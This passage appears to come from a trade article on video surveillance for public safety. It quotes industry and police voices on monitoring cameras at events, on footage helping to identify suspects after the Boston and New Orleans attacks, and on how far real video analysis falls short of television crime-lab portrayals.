"Any time we had any kind of a big event, things like the Chick-fil-A Bowl and the Peachtree Road Race, the emergency management people were right there with law enforcement looking for any type of hazardous activity," said Bill Hildebrand, a former Atlanta Police Department law enforcement professional and COO of NationWatch Protective Advisor in Loganville, Ga. "If video is used in a proactive role, and you have people monitoring the cameras who have been trained in recognizing crime trends and suspicious activity, then you can be proactive. When they see suspicious things going on, they can deploy assets to those areas."
The vote is more unanimous when it comes to forensics. Given patience and manpower, video footage can help unravel an event and catch the perpetrators.
In New Orleans, for example, video footage helped police to speedily identify an alleged shooter who injured 20 people in an attack on a Mother's Day parade earlier this year. And, of course, it was video footage that helped lead police to the alleged Boston Marathon bombers.
Some may say forensics sometimes is prevention. "Without video we would still be searching for those guys [in Boston], and they would already have done damage in New York City," said Mark Collett, the general manager of Sony Electronics' Security Systems Division.
Incidents like those in Boston and New Orleans make a strong case for the forensic use of video. But they leave open other questions regarding the technology itself: How good are these images? How well can video analysis techniques help in identifying individuals, objects and situations? How far has the technology progressed?
Not Yet CSI
The challenge is sizable. For a given moment in time, law enforcement officers and investigators may be faced with terabytes of data from every conceivable source, from department store surveillance cameras to cellphone video to digital photographs. Popular perception has it that with sufficiently powerful software, law enforcement could sift through all this data at digital speeds and successfully identify specific persons or objects. Reality, however, suggests otherwise.
"The first thing you have to do is to accept the idea that CSI is not really real," said Detective Sgt. Ret. James "Gator" Hudson, vice president of CrimeDex Services at video surveillance company 3VR. "No one does that in real life. You may have a chief of police or an emergency management person who thinks the camera is going to pick out the face of a terrorist in a crowd, but those kinds of things are almost impossible to do. So you have to set the bar at reality."